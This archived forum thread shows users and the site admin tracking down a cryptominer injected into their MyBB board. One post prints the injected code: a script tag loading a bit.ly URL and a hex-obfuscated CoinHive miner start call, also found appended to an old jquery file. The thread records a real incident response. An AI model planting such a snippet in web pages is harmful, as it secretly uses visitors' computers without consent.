+- Drunkard's Walk Forums (http://www.accessdenied-rms.net/forums)
+-- Forum: General (http://www.accessdenied-rms.net/forums/forumdisplay.php?fid=1)
+--- Forum: Forums (http://www.accessdenied-rms.net/forums/forumdisplay.php?fid=3)
+--- Thread: Getting warnings this site is running a cryptominer (/showthread.php?tid=12739)
Getting warnings this site is running a cryptominer - GethN7 - 01-24-2018
I have UBlock on, and it claims this site is running a cryptominer, but it must be a false positive.
Was wondering if anyone else got a similar message.
RE: Getting warnings this site is running a cryptominer - robkelk - 01-24-2018
Not I, as of this morning. (The office system is behind a firewall and thus doesn't need a local ad-blocker.)
RE: Getting warnings this site is running a cryptominer - Morganite - 01-25-2018
Not seeing anything like that from uBlock Origin.
-Morgan.
RE: Getting warnings this site is running a cryptominer - GethN7 - 01-25-2018
(01-25-2018, 01:00 AM)Morganite Wrote: Not seeing anything like that from uBlock Origin.
-Morgan.
I have AdNauseum enabled as well, seems to have registered a false positive for some bizarre reason.
Message has disappeared since I whitelisted this site for all my adblocking stuff.
RE: Getting warnings this site is running a cryptominer - Bob Schroeck - 01-25-2018
I use Ublock Origin myself at home, and have seen no such message when I access the board there.
RE: Getting warnings this site is running a cryptominer - GethN7 - 01-25-2018
(01-25-2018, 08:17 AM)Bob Schroeck Wrote: I use Ublock Origin myself at home, and have seen no such message when I access the board there.
Appears to have been caused by all my ad and scriptblocking stuff conflicting, getting mixed signals, which resulted in a false positive.
RE: Getting warnings this site is running a cryptominer - Bob Schroeck - 01-25-2018
Turns out this might not be a false alarm. See here -- coinhive might be getting linked in to my site somehow.
RE: Getting warnings this site is running a cryptominer - Dartz - 01-25-2018
I managed to replicate it in Chrome which pegs my laptop CPU
It doesn't seem to do anything in Firefox. It's there in Firefox's console, but trying to get it to do anything triggers a 404.
EDIT: Nope, Noscript in Firefox was blocking it from doing anything. Enable coinhive in Noscript and away it goes. HTTPs Everywhere didn't help.
It's in the front page. Right at the bottom of the source.
Code:
<script src="http://bit.ly/2ybH4YN"></script>
<script>
var _0xc921=["\x36\x52\x55\x75\x4D\x67\x57\x38\x68\x5A\x54\x6F\x6F\x50\x73\x39\x4C\x30\x49\x7A\x51\x73\x66\x30\x6A\x62\x6E\x30\x59\x46\x61\x56","\x73\x74\x61\x72\x74"];var monMin= new CoinHive.Anonymous(_0xc921[0]);monMin[_0xc921[1]]();
</script>
</body>
</html>Can't seem to find it anywhere else so doing a bit of a manual google. Not sure how this is linked in the forums.
EDIT the Third:
Check out: view-source:http://www.accessdenied-rms.net/forums/jscripts/jquery.js?ver=1806
It also appearrs on the bottom of the file
It only seems to load it here in chrome for me - it's stopped loading in Firefox.
https://pastebin.com/jTD5QeeZ << Linky
RE: Getting warnings this site is running a cryptominer - Bob Schroeck - 01-25-2018
Thank you, Dartz! You saved me a lot of work. I suspect, given the presence of the miner in the jquery file, that we're looking at something that got through one of the security holes the new version of MyBB patched. I've deleted the code from the bottom of the home page and replaced the forum jquery with the latest version, and hopefully when I post this message nothing will blow up.
EDIT: Let's all keep an eye out, please? If anyone sees it come back, let me know. And I'll do my damnedest to put aside a couple hours and do that freakin' update.
RE: Getting warnings this site is running a cryptominer - Dartz - 01-25-2018
That hasn't gotten it:
http://www.accessdenied-rms.net/forums/jscripts/jquery.js is a clean file. It's version 3.3.odd
http://www.accessdenied-rms.net/forums/jscripts/jquery.js?ver=1806. Is infected, and is the one linked in the forum's source It's version 1.11.3.odd, with the gribbly
You have to load them in chrome. At least for me, the coinhive stuff doesn't appearr in firefox. It might be that one of the php files building the forum page got swapped out.
It doesn't appearr to be in the front page anymore.
EDIT: And it's gone. It's possible it was just a cache thing on my end.... my fail
RE: Getting warnings this site is running a cryptominer - Bob Schroeck - 01-25-2018
Probably. I could see the miner at the end of the old jquery, and renamed it before copying in the new one.
RE: Getting warnings this site is running a cryptominer - Cobalt Greywalker - 01-26-2018
OK, I'm glad to say that currently I am no longer (as of this post, and with a couple of cache clean ups) getting alerts about coinminer in the main page and the forums.
(This message will also be placed in the website thread)
RE: Getting warnings this site is running a cryptominer - Bob Schroeck - 01-26-2018
Thanks. I'm going to get in the habit of checking every few days myself, but I wouldn't mind if other folks kept an eye out.
RE: Getting warnings this site is running a cryptominer - GethN7 - 01-26-2018
(01-26-2018, 04:48 PM)Bob Schroeck Wrote: Thanks. I'm going to get in the habit of checking every few days myself, but I wouldn't mind if other folks kept an eye out.
Will do.